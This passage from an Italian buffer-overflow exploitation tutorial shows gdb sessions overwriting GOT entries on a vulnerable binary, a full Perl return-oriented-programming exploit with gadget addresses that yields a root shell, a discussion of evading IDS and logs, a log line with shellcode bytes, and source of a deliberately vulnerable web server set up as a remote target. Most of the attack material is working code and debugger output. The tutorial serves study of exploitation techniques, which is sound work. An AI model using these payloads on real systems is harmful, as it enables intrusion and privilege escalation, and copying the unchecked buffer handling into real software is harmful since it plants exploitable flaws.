Sovrascriviamo il byte più a destra, questo non dovrebbe far crashare il programma dato che il

puntatore rimane relativo ad una zona vicina:

(gdb) run $(python -c "print 'A'*97")

Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'A'*97")

Breakpoint 1, func (msg=0xbffff5ae 'A' <repeats 97 times>) at vuln.c:8

8 strcpy(buf,msg);

(gdb) n

9 buf[0] = toupper(buf[0]);

(gdb) x/100x $esp

...

0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff340: 0xbfff0041 0x0011e0c0 0x0804851b 0x00283ff4

0xbffff350: 0x08048510 0x00000000 0xbffff3d8 0x00144bd6

...

(gdb) continue

Continuing.

Caps:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

A

Tutto ok.

Invece, proviamo a sovrascrivere un byte in più:

(gdb) run $(python -c "print 'a'*98")

Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'a'*98")

Breakpoint 1, func (msg=0xbffff5ad 'a' <repeats 98 times>) at vuln.c:8

8 strcpy(buf,msg);

(gdb) n

9 buf[0] = toupper(buf[0]);

(gdb) n

10 strcpy(msg,buf);

(gdb) n

Program received signal SIGSEGV, Segmentation fault.

0x001a1214 in strcpy () from /lib/tls/i686/cmov/libc.so.6

(gdb) inf reg

eax 0xbf006161 -1090494111

ecx 0x41 65

edx 0x0 0

ebx 0x283ff4 2637812

esp 0xbffff2c0 0xbffff2c0

ebp 0xbffff2c8 0xbffff2c8

esi 0xbf006160 -1090494112

edi 0xbffff2e0 -1073745184

Page 97: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 97 di 193

eip 0x1a1214 0x1a1214 <strcpy+20>

eflags 0x210246 [ PF ZF IF RF ID ]

...

Come vedete EAX contiene un indirizzo non accessibile per il nostro programma. quindi la

strcpy(), tentando di scriverci, riceve dal kernel un errore SIGSEGV.

Inserendo 96 bytes più 4 byte, questi ultimi 4 potrebbero divenire quelli che vanno a modificare

il valore del puntatore. In questo modo la copia seguente andrebbe a modificare i byte che si

trovano proprio a quell'indirizzo. Ci resta solo da decidere che cosa sovrascrivere.

Data la semplicità del programma l'unica cosa che mi pare ovvia da fare, è sovrascrivere la

entry nella sezione GOT relativa alla funzione printf(). Abbiamo già trattato la funzione della

sezione GOT in un capitolo precedente.

Questa contiene una serie di indirizzi associati a funzioni della libc. Al posto di printf()

eseguiremo qualcosa d'altro.

Per riuscire a sovrascrivere la entry è necessario fare ancora qualche ragionamento.

La sezione GOT è scrivibile. Siccome la vulnerabilità in questione riguarda una doppia strcpy()

dobbiamo adattare la stringa per essere "multiuso" diciamo. Infatti nell'estremità più bassa di

essa deve essere posizionato l'indirizzo della GOT. Ricaviamolo,

root@Saturn:~/Documenti/RetOriented-Exploit$ objdump -R a.out

a.out: file format elf32-i386

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

08049ff0 R_386_GLOB_DAT __gmon_start__

0804a000 R_386_JUMP_SLOT __gmon_start__

0804a004 R_386_JUMP_SLOT toupper

0804a008 R_386_JUMP_SLOT __libc_start_main

0804a00c R_386_JUMP_SLOT strcpy

0804a010 R_386_JUMP_SLOT printf

0804a014 R_386_JUMP_SLOT exit

0x0804a010 deve essere posizionato dopo il padding in fondo al buffer in modo da sovrascire il

puntatore.

Mentre in testa al buffer viene posizionato il codice da copiare, dato che la seconda strcpy()

comincerà la copia della testa del buffer. Qui noi posizioneremo una serie di indirizzi in stile

ret-to-libc.

Prima di decidere cosa copiare facciamo un primo esperimento, 'AAAA' inceve che un indirizzo

valido:

root@Saturn:~/Documenti/RetOriented-Exploit$ gdb a.out -q

Reading symbols from /home/matteo/Documenti/RetOriented-Exploit/a.out...done.

(gdb) break main

(gdb) run $(python -c "print 'AAAA'")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08")

Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print

'AAAA'")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08")

Breakpoint 1, main (argv=2, argc=0xbffff404) at vuln.c:16

16 func(argc[1]);

(gdb) s

func (msg=0xbffff5ab "AAAA", 'p' <repeats 92 times>, "\020\240\004\b") at vuln.c:8

8 strcpy(buf,msg);

(gdb) n

9 buf[0] = toupper(buf[0]);

Page 98: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 98 di 193

(gdb) print msg

$27 = 0x804a010 "\256\203\004\b\276\203\004\b"

(gdb) n

10 strcpy(msg,buf);

(gdb) n

11 printf("Caps: %s\n",msg);

(gdb) x/25i msg

0x804a010 <_GLOBAL_OFFSET_TABLE_+28>: inc %ecx

0x804a011 <_GLOBAL_OFFSET_TABLE_+29>: inc %ecx

...

(gdb) n

Program received signal SIGSEGV, Segmentation fault.

0x080483a8 in printf@plt ()

La mia indagine credo sia chiara, abbiamo sovrascritto la entry nella GOT con 0x41414141 che,

ovviamente, ha fatto crashare il programma. Ma abbiamo capito meglio la situazione.

Se noi al posto di AAAA reinseriamo la GOT entry di printf, tutto dovrebbe filare liscio.

Ricaviamo la entry corretta:

(gdb) x/1x 0x804a010

0x804a010 <_GLOBAL_OFFSET_TABLE_+28>: 0x080483ae

(gdb) run $(printf "\xae\x83\x04\x08")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08")

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(printf

"\xae\x83\x04\x08")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08")

Caps: 0Q

Program received signal SIGSEGV, Segmentation fault.

0x080483b8 in exit@plt ()

Ha crashato comunque me questo perchè la sringa non potevamo passarla con un terminatore '\0',

quindi la copia ha proseguito rovinando anche la entry got della exit. (Difatti è la exit() che

fallisce) Bene allora correggiamo il tutto sovrascrivendo anche la entry della exit:

(gdb) x/2x 0x804a010

0x804a010 <_GLOBAL_OFFSET_TABLE_+28>: 0x080483ae 0x080483be

(gdb) run $(printf "\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf

"\x10\xa0\x04\x08")

Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(printf

"\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf "\x10\xa0\x04\x08")

Caps: 0Q

Program exited with code 01.

Funziona. Come se niente fosse. Questa tecnica ci può tornare utile perchè potremmo pensare di

modificare il comportamento del programma senza farlo crashare dopo l'esecuzione del nostro

codice.

$(printf "\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf "\x10\xa0\x04\x08")

| | | | | | |

addr printf addr exit padding addr got printf

Page 99: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 99 di 193

In questo caso però non possiamo fare questo ragionamento dato che la entry di printf() è

esattamente quella prima di exit, a meno che ci basti fare una chiamata sola, ma questo è

piuttosto improbabile.

Possiamo però spostare la entry di exit() alla fine del nostro codice in modo tale da invocarla

comunque alla fine. Riassumendo il nostro buffer di attacco sarà così composto:

<our gadgets addresses>,<exit@got>,<padding><address of printf@got>

Che compito dovranno avere i nostri gadget? Pensando di eseguire un exploit locale il più

semplice possibile sceglierei di cercare di eseguire la funzione system() sovrascrivendo la got

entry di printf().

Abbiamo già visto come invocare system.

Quello che non abbiamo è la entry nella sezione plt che ci occorre, questo perchè la funzione

system non è usata dal nostro programma. Occorre dunque scoprire come poter chiamare la

funzione.

Vi propongo la sequente indagine,

Analizziamo con gdb ancora un volta il programma vuln.c e cerchiamo di capire come poter

ricavare l'indirizzo di system() senza che nel programma questa venga usata, quindi senza entry

per system nella sezione .plt.

root@saturn:~/RETOR# gdb a.out -q

(gdb) break main

Breakpoint 1 at 0x80484e1: file vuln.c, line 16.

(gdb) run

Starting program: /root/RETOR/a.out

Breakpoint 1, main (argc=1, argv=0xbffec994) at vuln.c:16

16 func(argv[1]);

(gdb) p system

$1 = {<text variable, no debug info>} 0xb7eaaac0 <system> # Indirizzo di system() in libc

(gdb) x/10i 0x8048374 # 0x8048374 è l'indirizzo di chiamata di strcpy@plt

0x8048374 <strcpy@plt>: jmp *0x804a00c # nella sezione plt viene effettuato un salto a

0x804a00c, il quale

0x804837a <strcpy@plt+6>: push $0x18 # rimanda a 0x804837a

0x804837f <strcpy@plt+11>: jmp 0x8048334 <_init+48> -------\ # viene effettuato un

salto a 0x8048334

0x8048384 <printf@plt>: jmp *0x804a010 |

... |

|

(gdb) x/10i 0x8048334 | # siamo nella sezione

_init a 0x8048334, dalle istruzioni vediamo

0x8048334 <_init+48>: pushl 0x8049ff8 <-------------------------/ # che viene effettuato

un'altro salto.

0x804833a <_init+54>: jmp *0x8049ffc -------------------------\ # *0x8049ffc è un'altro

puntatore ad indrizzo

0x8048340 <_init+60>: add %al,(%eax) |

0x8048342 <_init+62>: add %al,(%eax)... |

|

(gdb) x/1x 0x8049ffc |

0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff6080 <---------------/ # a tale locazione

(nella GOT) ci manda nelle libc.

(gdb) q

The program is running. Exit anyway? (y or n) y

Gli indirizzi che cambiano sempre sono quelli delle libc naturalmente, 0xb7ff6080 e l'indirizzo

Page 100: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 100 di 193

di system: 0xb7eaaac0.

Quello che è interessante è che nel programma analizzato, il primo di questi indirizzi si trova

ad una locazione fissa. Nella GOT, abbiamo visto prima che è a:

0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff6080

Sempre. Per il momento verifichiamo questa tesi e verifichiamo anche che la differenza tra i due

indirizzi rimane la stessa. Questo è ovvio ma effettuiamo comunque il calcolo per fissare le

idee.

0xb7ff6080 - 0xb7eaaac0 = 0x14b5c0 (1357248 bytes)

prendiamo nota del risultato e rieffettuiamo i test con un'altra istanza del programma che

rilocherà le libc ad indirizzi differenti.

root@saturn:~/RETOR# gdb a.out -q

(gdb) break main

Breakpoint 1 at 0x80484e1: file vuln.c, line 16.

(gdb) run

Starting program: /root/RETOR/a.out

Breakpoint 1, main (argc=1, argv=0xbf9df054) at vuln.c:16

16 func(argv[1]);

(gdb) p system

$1 = {<text variable, no debug info>} 0xb7f4fac0 <system>

(gdb) x/10i 0x8048374

0x8048374 <strcpy@plt>: jmp *0x804a00c

0x804837a <strcpy@plt+6>: push $0x18

0x804837f <strcpy@plt+11>: jmp 0x8048334 <_init+48>

...

(gdb) x/10i 0x8048334

0x8048334 <_init+48>: pushl 0x8049ff8

0x804833a <_init+54>: jmp *0x8049ffc

...

(gdb) x/1x 0x8049ffc

0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>: 0xb809b080

Ricalcoliamo:

0xb809b080 - 0xb7f4fac0 = 0x14b5c0 (1357248 bytes)

ok, questo era ovvio.

Abbiamo visto anche che la locazione nella GOT contenente l'indirizzo 0xb809b080 è sempre

0x8049ffc. Questa è fissa ad ogni esecuzione.

Questo ci permette di calcolare l'indirizzo della funzione system,

Il seguente programma esegue system() calcolando il suo indirizzo a runtime. (relativamente al

mio ambiente)

--------- test0F.c -----------------------

#include <stdio.h>

char string[]="/bin/sh";

void main(void)

{

asm(

"push %0;"

Page 101: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 101 di 193

"push $0x41414141;"

"movl $0x8049ffc, %%edi;"

"movl (%%edi), %%eax;"

"subl $0x14b5c0, %%eax;"

"push %%eax;"

"ret;"

:

:"r"(string)

);

}

--------- test0F.c END --------------------

L'indirizzo 0x8049ffc utilizzato è relativo all'ambiente naturalmente. Così come l'offset

dipende come minimo dalla versione delle libc. Abbiamo dunque appreso che l'offset tra

l'indirizzo memorizzato alla locazione fissa in <GOT+8> all'indirizzo di system è sempre di

1357248 bytes. Possiamo prendere come riferimento questo indirizzo come altri all'interno

dell'immagine, l'importante è che sia fisso.

Fatto questo vediamo l'exploit del programma.

Quello che vedremo non è semplicemente un exploit che utilizza la tecnica ret-oriented ma un

misto di più tecniche.

Prima di vederlo e di spiegarne il funzionamento parliamo subito del problema principale a cui

abbiamo girato attorno da un pò di righe a questa parte. Il punto è che gli exploit moderni sono

molto dipendenti dall'ambiente in cui ci troviamo. Nel senso che se cambiassimo la versione

delle libc o la versione del compilatore utilizzato l'exploit che vedremo fra poco non

funzionerà più. (questo in particolare)

Quindi purtroppo / per fortuna i sistemi vulnerabili sono drasticamente diminuiti un pò per

questo motivo, un pò perchè, come abbiamo visto, le tecniche si sono molto complicate.

Naturalmente il mio intento è solo quello di conoscere nel dettaglio le cose e non di usare

certe tecniche per accedere illegalmente a sistemi di terzi.

Detto questo l'exploit in perl:

-------------- exploit.pl --------------

1 #!/usr/bin/perl

2

3 # code description virtual address

4

5 print "\xa2\x85\x04\x08" . # first gadget --> 0x804a010

6 "\x90\x90\x90\x90" . # padding --> 0x804a014

7 "\x90\x90\x90\x90" . # padding --> 0x804a018

8 "\xe8\xa2\x04\x08" . # pointer to this section --> 0x804a01c

9 "\x8c\x83\x04\x08" . # address of second gadget --> 0x804a020

10 "\xd0\x2c\xfc\xff" . # EAX --> 0x804a024

11 "\x14\xa0\x8e\x13" . # EBX --> 0x804a028

12 "AAAA" . # padding --> 0x804a02c

13 "/bin/sh;" . # system() argument --> 0x804a030 (+ 8 b)

14 "A"x48 . # padding --> 0x804a038 (+ 48 b)

15 "\x10\xa0\x04\x08" . # printf GOT entry address --> 0x804a068

16 "\x30\xa0\x04\x08"x160 .# dummy --> 0x804a06c (+ 640 b)

17 "\xce\x85\x04\x08" . # address of third dadget --> 0x804a2ec

18 "\x30\xa0\x04\x08"x0x2 .# dummy --> 0x804a2f0 (+8 b)

19 "\x30\xa0\x04\x08" . # dummy EBP --> 0x804a2f8

20 "\xaf\x84\x04\x08" . # call *%eax --> 0x804a2fc

21 "\x30\xa0\x04\x08"; # "/bin/sh" address --> 0x804a300

Page 102: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 102 di 193

# GADGETS SUMMARY:

#

# 1) add 0xc, %esp - 0x80485a2

# pop %ebx

# pop %esi

# pop %edi

# pop %ebp

# ret

#

# 2) pop %eax - 0x804838c

# pop %ebx

# leave

# ret

#

# 3) add -0xb8a0008(%ebx),%eax - 0x80485ce

# add $0x4, %esp

# pop %ebx

# pop %ebp

# ret

#

# 4) call *%eax - 0x80484af

--------- exploit.pl END --------------------

La prima osservazione che facciamo è che la copia del buffer che passiamo a riga di comando va a

sovrascrivere il puntatore con l'indirizzo: "0x804a010". Esattamente la riga numero 15 dello

script.

La seconda copia andrà di conseguenza a scrivere a partire proprio da quell'indirizzo la nostra

stringa. A questo punto il programma proseguirà normalmente fino al punto in cui printf viene

chiamata. Siccome abbiamo sovrascritto il valore memorizzato a 0x804a010, il tutto salterà

all'inizio della nostra stringa. (riga 5)

Qui è memorizzato l'indirizzo del primo gadget. Questo viene eseguito memorizzando nei registri

ESI e EDI le WORD costituite da '0x90'. Poi in EBP viene inserito l'indirizzo appena precedente

al terzo gadget. Capiremo il perchè fra poco.

Quando l'istruzione "ret" viene eseguita il registro ESP punta all'indirizzo del gadget

successivo, questo indirizzo viene caricato in EIP, quindi l'esecuzione passa a questo gadget.

Questo caricherà nei registri EAX ed EBX i valori che abbiamo sistematicamente posizionato in

memoria nelle due successive locazioni.

L'istruzione "leave" ci spiega il perchè abbiamo precedentemente caricato in EBP l'indirizzo

subito precedente al terzo gadget, infatti "leave" sistemerà questo in ESP poi lo incrementerà

facendolo puntare al terzo gadget. La ret fa il resto.

Il terzo gadget presenta come prima istruzione una addizzione che somma un certo valore al

registro EAX. Attraverso questa istruzione noi calcoliamo l'indirizzo di system in modo

dinamico. Già, perchè in EBX ho un valore a cui sottraendo 0xb8a0008 ottengo l'indirizzo della

GOT entry di strcpy. Il valore puntato da questo indirizzo viene addizzionato a EAX, EAX

contiene un offset. Anche questo valore è stato caricato dal gadget precedente e contiene

l'offset tra strcpy e sytem nelle libc espresso come valore negativo. Questo è fisso

naturalmente. Il risultato della computazione è l'indirizzo di system.

A questo punto abbiamo tutti gli elementi che ci servono. EAX contiene l'indirizzo che ci

occorre, le restanti istruzioni riservano memoria sufficiente all'esecuzione di system senza

rischiare di avere un SIGSEGV andando a scrivere in una porzione di memoria non accessibile.

L'ultimo gadget consiste nell'istruzione "call *%eax" ovvero la chiamata ad una routine con

indirizzo puntato da un registro, nel nostro caso EAX.

Page 103: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 103 di 193

Questo è sicuramente uno dei casi più complicati per motivi diversi.

Prima di tutto il calcolo di system in modo dinamico. Le libc sono anche esse rilocate ad

indirizzi random così come lo stack. Il segmento .text del programma è estremamente limitato,

pertanto abbiamo pochissimi gadget a disposizione.

Si può dire che normalmente si hanno molte più possibilità con programmi normali che hanno un

sezione text molto più vasta.

L'esecuzione del programma normale è la seguente:

root@HackLab:~/RetOriented# ./ex1 prova

Caps: Prova

L'exploit:

root@HackLab:~/RetOriented# ./ex1 $(./AdvRetExploit.pl)

sh-3.2# whoami

root

sh-3.2# exit

exit

sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: command not found

Segmentation fault

0x14] (Arch: LINUX) - Polimorfismo - IDS/IPS evasion

Up

Ora vedremo una tecnica leggermente più semplice dele shellcode return-oriented-programming,

d'ora in poi "ROP". Anche se la tecnica che spiegherò diventerà comunque inutilizzabile a causa

delle protezioni appena viste, vale assolutamente la pena parlarne. Utilizzeremo i soliti

strumenti, sui quali oramai dovreste aver acquisito gran dimestichezza, dato che siete arrivati

a leggere fino qui. Ero un pò combattuto se inserire questo capitolo prima o dopo aver

introdotto ROP, ma credo sia stata più azzeccata questa scelta, ora la mente è senz'altro più

elastica ad accettare nuove soluzioni e strategie!

Cominciamo da quelle che sono le ulteriori precauzioni prese dagli amministratori di rete e

sviluppatori anche se sono proprio questi ultimi quelli che, come abbiamo visto, il più delle

volte fanno danni. I programmi e servizi che girano su server, computer o dispositivi di rete

sono stati rivisti e aggiunti di tutta una serie di funzioni che riguardano la facoltà di

segnalare allarmi, pericoli, rischi e quant'altro. Pensiamo ad esempio ad un server web, che

possiede una parte del codice incaricato di inviare verso un file di log ogni accesso e

richiesta proveniente dall'esterno. Se pensiamo ai sistemi operativi windows, questi log sono

solitamente conservati nelle directory di sistema, su IIS versione 7.0, si trovano in

"%SystemDrive%\inetpub\logs\LogFiles", ed hanno un formato chiamato W3C. Ma nelle aziende con un

livello di sicurezza adeguato, questi log vengono inviati ad un server syslog tramite il

protocollo UDP. Un server syslog è appunto un server con il solo compito di archiviare i log sul

suo disco. In alcuni casi si arriva anche alla stampa su carta. Due tipiche righe di log sono ad

esempio:

2010-04-12 20:11:08 192.168.0.2 GET / - 80 - 192.168.0.2

Opera/9.80+(Windows+NT+6.1;+U;+it)+Presto/2.5.22+Version/10.51 401 3 5 722

2010-04-12 20:11:08 192.168.0.2 GET /favicon.ico - 80 - 192.168.0.2

Opera/9.80+(Windows+NT+6.1;+U;+it)+Presto/2.5.22+Version/10.51 401 3 5 1

Qui vengono indicate le richieste HTTP effettuate da una certa macchina, come vedete viene

registrato anche l'IP, quindi si verrebbe subito identificati in caso di attacco, in questo caso

il log conterrebbe tutta la stringa utilizzata per l'exploit. Il seguente esempio mostra le

tracce di un attacco tramite shellcode:

Page 104: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 104 di 193

10/03/2010 17:50:22> From 192.168.0.2:37008

"????????????????1?1???9?u=1?Q1?Q1?Q????f???1?SSSfh???fS???SRQ?????f?1?9?t1????1?1???QR????f?1?1

?1???0?1?1?PPR????f???1?1??9?uF1????1?1?1???????1?A???1?A???1?Ph//shh/bin???TPS???

1?1?@?1?????????????????????????????????????????????????????????????????????????????????????????

????????????????????????????????????????????????????????????????????????????????????????????????

??????????????????????????" NOT HTTP!

Qui è ben visibile L'indirizzo IP ed anche il codice di attacco che va a sfruttare la

vulnerabilità del programma, relativamente alla gestione di una stringa dati in ingresso. Esiste

comunque la possibilità di poter sovrascrivere oltre che l'indirizzo di ritorno o un puntatore,

anche l'indirizzo IP contenuto nella struttura sockaddr. In questo caso il log potrebbe essere

il seguente:

10/03/2010 17:50:22> From 144.144.144.144:37008

"????????????????1?1???9?u=1?Q1?Q1?Q????f???1?SSSfh???........

Come vedete l'IP riporta un valore evidentemente contraffatto da una sovrascrittura. Si può

anche arrivare a sovrascrivere il socket utilizzato per comunicare con il server syslog. In quel

caso la segnalazione non viene nemmeno inviata.

Questo è un primo problema, ma come vedremo, abbastanza risolvibile con una analisi attenta

della vulnerabilità e una valutazione delle nostre possibilità. Un'altra precauzione più a monte

del bersaglio sono i sistemi anti-intrusione. (IDS o IPS). Uno dei più celebri si chiama snort.

Come funzionano questi dispositivi? Questi possono essere integrati a dei firewall o come

dispositivi supplementari, ad esempio potremmo avere una configurazione come la seguente:

---------> ---------> ---------->

Internet Firewall IDS/IPS sys LAN

<-------- <---------- <----------

Un sistema di anti-intrusione "On-line" è in grado di analizzare il traffico di rete pacchetto

per pacchetto e intervenire in tempo reale fermando ciò che ritiene pericoloso. Questi sistemi

possiedono al loro interno un database, il più delle volte in continuo aggiornamento, per

eseguire operazioni di "pattern-matching" sui dati in transito. Cosa cercheranno questi sistemi?

Bè abbiamo visto che le shellcode sono formate nella maggioranza dei casi da lunghe sequenze di

byte 0x90 per creare i "NOP sled", oppure questi sistemi cercheranno i byte "0xcd, 0x80", ovvero

i codici operativi degli interrupt per le syscall, oppure ancora potrebbero cercare stringhe

"/bin/sh", o altro ancora. Rilevare invece un attacco via shellcode ROP è molto più complicato.

Ma restando sul vecchio stile di attacco, ovvero quello efficace nei kernel precedenti al 2.6,

abbiamo necessità di nascondere il nostro codice agli occhi dell'IDS, altrimenti verremmo subito

bloccati (e ammanettati).

Ora vedremo un exploit remoto che fa uso delle tecniche più sofisticate per nascondere il codice

shell.

Ma prima di tutto occorre conoscere il nostro bersaglio. Attaccheremo proprio un server web in

stile apache molto verosimile, questo possiede anche una funzione di log verso un file contenuto

in /var/log/. Il programma si chiama "tinywebd", preso da "The Art of exploitation" di Jon

Erickson, che ho leggermente modificato. Supponiamo anche di aver identificato un sistema IDS a

protezione del server web. Di seguito vi sono i sorgenti.

-------- tinywebd.c --------------------

#include <sys/stat.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

Page 105: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 105 di 193

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <time.h>

#include <signal.h>

#include "hacking.h"

#include "hacking-network.h"

#define PORT 80 // the port users will be connecting to

#define WEBROOT "./webroot" // the web server's root directory

#define LOGFILE "/var/log/tinywebd.log" // log filename

int logfd, sockfd; // global log and socket file descriptors

void handle_connection(int, struct sockaddr_in *, int);

int get_file_size(int); // returns the filesize of open file descriptor

void timestamp(int); // writes a timestamp to the open file descriptor

// This function is called when the process is killed

void handle_shutdown(int signal) {

timestamp(logfd);

write(logfd, "Shutting down..\n", 16);

close(logfd);

close(sockfd);

exit(0);

}

int main(void) {

int new_sockfd, yes=1;

struct sockaddr_in host_addr, client_addr; // my address information

socklen_t sin_size;

logfd = open(LOGFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);

if(logfd == -1)

fatal("opening log file");

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)

fatal("in socket");

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)

fatal("setting socket option SO_REUSEADDR");

printf("Starting tiny web daemon..\n");

if(daemon(1, 0) == -1) // fork to a background daemon process

fatal("forking to daemon process");

signal(SIGTERM, handle_shutdown); // call handle_shutdown when killed

signal(SIGINT, handle_shutdown); // call handle_shutdown when interrupted

timestamp(logfd);

write(logfd, "Starting up..\n", 15);

host_addr.sin_family = AF_INET; // host byte order

host_addr.sin_port = htons(PORT); // short, network byte order

host_addr.sin_addr.s_addr = INADDR_ANY; // automatically fill with my IP

memset(&(host_addr.sin_zero), '\0', 8); // zero the rest of the struct

if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)

fatal("binding to socket");

Page 106: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 106 di 193

if (listen(sockfd, 20) == -1)

fatal("listening on socket");

while(1) { // Accept loop

sin_size = sizeof(struct sockaddr_in);

new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

if(new_sockfd == -1)

fatal("accepting connection");

handle_connection(new_sockfd, &client_addr, logfd);

}

return 0;

}

/* This function handles the connection on the passed socket from the

* passed client address and logs to the passed FD. The connection is

* processed as a web request and this function replies over the connected

* socket. Finally, the passed socket is closed at the end of the function.

*/

void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {

unsigned char *ptr, request[1024], resource[1024], log_buffer[1024];

int fd, length;

length = recv_line(sockfd, request);

sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr),

ntohs(client_addr_ptr->sin_port), request);

ptr = strstr(request, " HTTP/"); // search for valid looking request

if(ptr == NULL) { // then this isn't valid HTTP

strcat(log_buffer, " NOT HTTP!\n");

} else {

*ptr = 0; // terminate the buffer at the end of the URL

ptr = NULL; // set ptr to NULL (used to flag for an invalid request)

if(strncmp(request, "GET ", 4) == 0) // get request

ptr = request+4; // ptr is the URL

if(strncmp(request, "HEAD ", 5) == 0) // head request

ptr = request+5; // ptr is the URL

if(ptr == NULL) { // then this is not a recognized request

strcat(log_buffer, " UNKNOWN REQUEST!\n");

} else { // valid request, with ptr pointing to the resource name

if (ptr[strlen(ptr) - 1] == '/') // for resources ending with '/'

strcat(ptr, "index.html"); // add 'index.html' to the end

strcpy(resource, WEBROOT); // begin resource with web root path

strcat(resource, ptr); // and join it with resource path

fd = open(resource, O_RDONLY, 0); // try to open the file

if(fd == -1) { // if file is not found

strcat(log_buffer, " 404 Not Found\n");

send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");

send_string(sockfd, "Server: Tiny webserver\r\n\r\n");

send_string(sockfd, "<html><head><title>404 Not Found</title></head>");

send_string(sockfd, "<body><h1>URL not found</h1></body></html>\r\n");

} else { // otherwise, serve up the file

strcat(log_buffer, " 200 OK\n");

send_string(sockfd, "HTTP/1.0 200 OK\r\n");

send_string(sockfd, "Server: Tiny webserver\r\n\r\n");

Page 107: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 107 di 193

if(ptr == request + 4) { // then this is a GET request

if( (length = get_file_size(fd)) == -1)

fatal("getting resource file size");

if( (ptr = (unsigned char *) malloc(length)) == NULL)

fatal("allocating memory for reading resource");

read(fd, ptr, length); // read the file into memory

send(sockfd, ptr, length, 0); // send it to socket

free(ptr); // free file memory

}

close(fd); // close the file

} // end if block for file found/not found

} // end if block for valid request

} // end if block for valid HTTP

timestamp(logfd);

length = strlen(log_buffer);

write(logfd, log_buffer, length); // write to the log

shutdown(sockfd, SHUT_RDWR); // close the socket gracefully

}

/* This function accepts an open file descriptor and returns

* the size of the associated file. Returns -1 on failure.

*/

int get_file_size(int fd) {

struct stat stat_struct;

if(fstat(fd, &stat_struct) == -1)

return -1;

return (int) stat_struct.st_size;

}

/* This function writes a timestamp string to the open file descriptor

* passed to it.

*/

void timestamp(fd) {

time_t now;

struct tm *time_struct;

int length;

char time_buffer[40];

time(&now); // get number of seconds since epoch

time_struct = localtime((const time_t *)&now); // convert to tm struct

length = strftime(time_buffer, 40, "%m/%d/%Y %H:%M:%S> ", time_struct);

write(fd, time_buffer, length); // write timestamp string to log

}

-------- tinywebd.c END ----------------

-------- hacking.c ---------------------

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

// A function to display an error message and then exit

void fatal(char *message) {

char error_message[100];

Page 108: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 108 di 193

strcpy(error_message, "[!!] Fatal Error ");

strncat(error_message, message, 83);

perror(error_message);

exit(-1);

}

// An error checked malloc() wrapper function

void *ec_malloc(unsigned int size) {

void *ptr;

ptr = malloc(size);

if(ptr == NULL)

fatal("in ec_malloc() on memory allocation");

return ptr;

}

-------- hacking.c END -----------------

-------- hacking-network.c -------------

/* This function accepts a socket FD and a ptr to the null terminated

* string to send. The function will make sure all the bytes of the

* string are sent. Returns 1 on success and 0 on failure.

*/

int send_string(int sockfd, unsigned char *buffer) {

int sent_bytes, bytes_to_send;

bytes_to_send = strlen(buffer);

while(bytes_to_send > 0) {

sent_bytes = send(sockfd, buffer, bytes_to_send, 0);

if(sent_bytes == -1)

return 0; // return 0 on send error

bytes_to_send -= sent_bytes;

buffer += sent_bytes;

}

return 1; // return 1 on success

}

/* This function accepts a socket FD and a ptr to a destination

* buffer. It will receive from the socket until the EOL byte

